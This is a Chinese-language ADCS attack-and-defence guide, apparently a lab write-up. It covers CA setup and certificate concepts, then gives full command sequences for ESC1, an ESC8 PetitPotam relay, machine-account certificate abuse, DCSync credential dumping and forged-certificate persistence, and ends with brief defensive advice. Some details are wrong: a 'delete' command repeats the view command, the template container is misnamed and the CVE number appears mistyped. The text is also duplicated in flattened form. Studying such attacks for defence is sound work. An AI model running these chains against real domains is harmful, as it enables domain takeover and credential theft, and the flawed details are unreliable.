ADCS小结
字数 2562 2025-08-07 00:35:04

Active Directory 证书服务(ADCS)攻防指南

0x00 前言

在生产环境中,强烈建议不要将证书服务安装在域控制器(DC)上,而应该部署在单独的服务器上。这是因为证书服务具有不能更改计算机名称和网络参数的特性。本文档将详细介绍ADCS的环境搭建、漏洞利用和权限维持技术。

0x01 环境搭建

ADCS环境搭建步骤

  1. 搭建域环境
  2. 添加ADCS角色:
    • 勾选"Active Directory证书服务"
    • 选择"证书颁发机构"、"证书注册Web服务"、"证书颁发机构Web注册"
  3. 配置证书颁发机构:
    • 选择"企业CA"
    • 设置CA类型为"根CA"
    • 设置私钥为"新建私钥"
    • 选择加密服务提供程序和哈希算法
    • 设置CA名称和有效期(默认5年)
    • 指定证书数据库位置

辅域搭建步骤

  1. 在辅域服务器上安装AD DS角色
  2. 选择"从父域复制"选项
  3. 完成域控制器提升

0x02 ADCS核心概念

关键术语

  1. 根证书颁发机构(Root CA):信任链的起始点
  2. 从属CA(Subordinate CA):信任链中的子节点
  3. 颁发CA(Issuing CA):向端点(用户、服务器)颁发证书的CA
  4. 独立CA(Standalone CA):未加入域的服务器上运行的CA
  5. 企业CA(Enterprise CA):加入域并与AD集成的CA
  6. 电子证书(Digital Certificate):用户身份的电子证明(X.509标准)
  7. AIA(Authority Information Access):指向证书颁发者位置的扩展
  8. CDP(CRL Distribution Point):包含CRL位置的信息
  9. CRL(Certificate Revocation List):已撤销证书列表

ADCS服务架构

  1. ORCA1:离线根CA,配置AIA及CRL,导出根CA证书和CRL文件
  2. APP1:从属CA,完成以下配置:
    • 将根CA证书放入AD配置容器
    • 部署Web Server分发证书和CRL
    • 设置CDP及AIA

证书模板

证书模板存储在AD的CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com容器中,包含以下关键属性:

  • 常规设置:证书有效期
  • 请求处理:证书目的和导出私钥要求
  • 加密:使用的CSP和最小密钥大小
  • Extensions:X509v3扩展列表
  • 主题名称:来自请求或域主体身份
  • 发布要求:是否需要CA管理员批准
  • 安全描述符:证书模板的ACL

关键OID

以下OID允许证书用于Kerberos身份认证:

描述 OID
Client Authentication 1.3.6.1.5.5.7.3.2
PKINIT Client Authentication 1.3.6.1.5.2.3.4
Smart Card Logon 1.3.6.1.4.1.311.20.2.2
Any Purpose 2.5.29.37.0
SubCA(no EKUs) -

Enterprise NTAuth store

NtAuthCertificates包含所有CA的证书列表,不在内的CA无法处理用户身份验证证书的申请。

操作命令:

# 添加证书到NTAuth
certutil.exe -dspublish -f IssuingCaFileName.cer NTAuthCA

# 查看NTAuth中的所有证书
certutil.exe -viewstore -enterprise NTAuth

# 删除NTAuth中的证书
certutil.exe -viewstore -enterprise NTAuth

0x03 证书注册过程

  1. 客户端根据Enrollment Services容器中的对象找到企业CA,创建公钥/私钥对
  2. 将公钥、证书主题和模板名称等信息放入CSR消息中,使用私钥签名后发送到CA服务器
  3. CA判断用户是否允许申请证书(检查CSR中指定的证书模板AD对象)
  4. 通过审核后,CA使用证书模板定义的设置生成含有客户端公钥的证书,并使用自己的私钥签署
  5. 签署完成的证书可供客户端使用

0x04 ADCS漏洞利用

ESC1漏洞利用

漏洞条件

  1. 普通域用户有权限获取证书
  2. 证书模板允许客户端身份验证或智能卡登录
  3. 启用了CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志

利用步骤

  1. 创建恶意证书模板:

    • 复制"工作站身份认证"模板
    • 修改模板显示名称
    • 在扩展中添加"客户端身份认证"
    • 为Domain Users组添加注册权限
    • 在"使用者名称"中选择"在请求中提供"
  2. 使用Certify检测漏洞:

Certify.exe find /vulnerable
  1. 获取证书(指定域管用户名作为altname):
Certify.exe request /ca:matrix.sun.com\sun-Matrix-CA /template:MATRIX /altname:administrator
  1. 将输出的PEM转换为PFX:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  1. 使用Rubeus获取TGT并注入:
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.40.101 /ptt

ESC8漏洞(PetitPotam + ADCS Relay)

漏洞条件
ADCS的HTTP认证支持NTLM认证

利用步骤

  1. 使用ntlmrelayx设置中继目标:
python3 ntlmrelayx.py -t http://192.168.40.101/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'
  1. 使用PetitPotam触发NTLM认证:
python3 PetitPotam.py -u '' -d '' -p '' 192.168.40.129 192.168.40.102
  1. 收到base64编码的证书后,使用Rubeus请求STEVEN$的TGT:
Rubeus.exe asktgt /user:STEVEN$ /certificate:<base64-cert> /domain:sun.com /dc:steven.sun.com /ptt
  1. 使用mimikatz进行DCSync:
mimikatz # lsadump::dcsync /domain:sun.com /all /csv

CVE-2022-26963漏洞利用

影响范围
Windows 8.1/10/11, Server 2008-2022

利用步骤

  1. 定位CA机器:
certutil -config - -ping
  1. 创建机器账户(需ms-DS-MachineAccountQuota>0):
python3 bloodyAD.py -d sun.com -u user1 -p 'Wsx123.' --host 192.168.40.101 addComputer user5 'Wsx123.'
  1. 更新机器账户的DNS Host Name为域控:
python3 bloodyAD.py -d sun.com -u user1 -p 'Wsx123.' --host 192.168.40.101 setAttribute 'CN=user5,CN=Computers,DC=sun,DC=com' dNSHostName '["MATRIX.sun.com"]'
  1. 使用Certipy生成机器证书:
certipy req 'sun.com/user5$:Wsx123.@192.168.40.101' -template Machine -dc-ip 192.168.40.101 -ca sun-MATRIX-CA
  1. 获取TGT:
certipy auth -pfx ./matrix.pfx -dc-ip 192.168.40.101
  1. 执行DCSync:
impacket-secretsdump 'sun.com/matrix$@matrix.sun.com' -hashes :<nt-hash>

0x05 权限维持技术

导出CA私钥

图形界面操作

  1. 打开证书颁发机构(certsrv.msc)
  2. 选择"所有任务"->"备份CA"
  3. 选择导出格式(PFX/P12)并设置密码

命令行操作
使用SharpDPAPI导出证书:

SharpDPAPI.exe certificates /machine

伪造证书

  1. 将PEM转换为PFX:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  1. 使用ForgeCert伪造证书:
ForgeCert.exe --CaCertPath cert.pfx --CaCertPassword "Wsx123." --Subject "CN=User" --SubjectAltName "matrix@sun.com" --NewCertPath new.pfx --NewCertPassword "Password123!"
  1. 获取TGT:
Rubeus.exe asktgt /user:matrix /certificate:new.pfx /password:Password123!

注意:伪造证书的账户需要是域用户或机器账户,不能是krbtgt账户。

0x06 防御建议

  1. 将证书服务部署在单独的服务器上,不要安装在DC上
  2. 定期审计证书模板权限和配置
  3. 限制普通用户创建机器账户的权限(ms-DS-MachineAccountQuota)
  4. 监控异常证书申请行为
  5. 及时安装ADCS相关补丁
  6. 禁用不必要的证书模板
  7. 限制证书模板的EKU扩展
Active Directory 证书服务(ADCS)攻防指南 0x00 前言 在生产环境中,强烈建议不要将证书服务安装在域控制器(DC)上,而应该部署在单独的服务器上。这是因为证书服务具有不能更改计算机名称和网络参数的特性。本文档将详细介绍ADCS的环境搭建、漏洞利用和权限维持技术。 0x01 环境搭建 ADCS环境搭建步骤 搭建域环境 添加ADCS角色: 勾选"Active Directory证书服务" 选择"证书颁发机构"、"证书注册Web服务"、"证书颁发机构Web注册" 配置证书颁发机构: 选择"企业CA" 设置CA类型为"根CA" 设置私钥为"新建私钥" 选择加密服务提供程序和哈希算法 设置CA名称和有效期(默认5年) 指定证书数据库位置 辅域搭建步骤 在辅域服务器上安装AD DS角色 选择"从父域复制"选项 完成域控制器提升 0x02 ADCS核心概念 关键术语 根证书颁发机构(Root CA) :信任链的起始点 从属CA(Subordinate CA) :信任链中的子节点 颁发CA(Issuing CA) :向端点(用户、服务器)颁发证书的CA 独立CA(Standalone CA) :未加入域的服务器上运行的CA 企业CA(Enterprise CA) :加入域并与AD集成的CA 电子证书(Digital Certificate) :用户身份的电子证明(X.509标准) AIA(Authority Information Access) :指向证书颁发者位置的扩展 CDP(CRL Distribution Point) :包含CRL位置的信息 CRL(Certificate Revocation List) :已撤销证书列表 ADCS服务架构 ORCA1 :离线根CA,配置AIA及CRL,导出根CA证书和CRL文件 APP1 :从属CA,完成以下配置: 将根CA证书放入AD配置容器 部署Web Server分发证书和CRL 设置CDP及AIA 证书模板 证书模板存储在AD的 CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com 容器中,包含以下关键属性: 常规设置:证书有效期 请求处理:证书目的和导出私钥要求 加密:使用的CSP和最小密钥大小 Extensions:X509v3扩展列表 主题名称:来自请求或域主体身份 发布要求:是否需要CA管理员批准 安全描述符:证书模板的ACL 关键OID 以下OID允许证书用于Kerberos身份认证: | 描述 | OID | |------|-----| | Client Authentication | 1.3.6.1.5.5.7.3.2 | | PKINIT Client Authentication | 1.3.6.1.5.2.3.4 | | Smart Card Logon | 1.3.6.1.4.1.311.20.2.2 | | Any Purpose | 2.5.29.37.0 | | SubCA(no EKUs) | - | Enterprise NTAuth store NtAuthCertificates 包含所有CA的证书列表,不在内的CA无法处理用户身份验证证书的申请。 操作命令: 0x03 证书注册过程 客户端根据Enrollment Services容器中的对象找到企业CA,创建公钥/私钥对 将公钥、证书主题和模板名称等信息放入CSR消息中,使用私钥签名后发送到CA服务器 CA判断用户是否允许申请证书(检查CSR中指定的证书模板AD对象) 通过审核后,CA使用证书模板定义的设置生成含有客户端公钥的证书,并使用自己的私钥签署 签署完成的证书可供客户端使用 0x04 ADCS漏洞利用 ESC1漏洞利用 漏洞条件 : 普通域用户有权限获取证书 证书模板允许客户端身份验证或智能卡登录 启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志 利用步骤 : 创建恶意证书模板: 复制"工作站身份认证"模板 修改模板显示名称 在扩展中添加"客户端身份认证" 为Domain Users组添加注册权限 在"使用者名称"中选择"在请求中提供" 使用Certify检测漏洞: 获取证书(指定域管用户名作为altname): 将输出的PEM转换为PFX: 使用Rubeus获取TGT并注入: ESC8漏洞(PetitPotam + ADCS Relay) 漏洞条件 : ADCS的HTTP认证支持NTLM认证 利用步骤 : 使用ntlmrelayx设置中继目标: 使用PetitPotam触发NTLM认证: 收到base64编码的证书后,使用Rubeus请求STEVEN$的TGT: 使用mimikatz进行DCSync: CVE-2022-26963漏洞利用 影响范围 : Windows 8.1/10/11, Server 2008-2022 利用步骤 : 定位CA机器: 创建机器账户(需ms-DS-MachineAccountQuota>0): 更新机器账户的DNS Host Name为域控: 使用Certipy生成机器证书: 获取TGT: 执行DCSync: 0x05 权限维持技术 导出CA私钥 图形界面操作 : 打开证书颁发机构(certsrv.msc) 选择"所有任务"->"备份CA" 选择导出格式(PFX/P12)并设置密码 命令行操作 : 使用SharpDPAPI导出证书: 伪造证书 将PEM转换为PFX: 使用ForgeCert伪造证书: 获取TGT: 注意 :伪造证书的账户需要是域用户或机器账户,不能是krbtgt账户。 0x06 防御建议 将证书服务部署在单独的服务器上,不要安装在DC上 定期审计证书模板权限和配置 限制普通用户创建机器账户的权限(ms-DS-MachineAccountQuota) 监控异常证书申请行为 及时安装ADCS相关补丁 禁用不必要的证书模板 限制证书模板的EKU扩展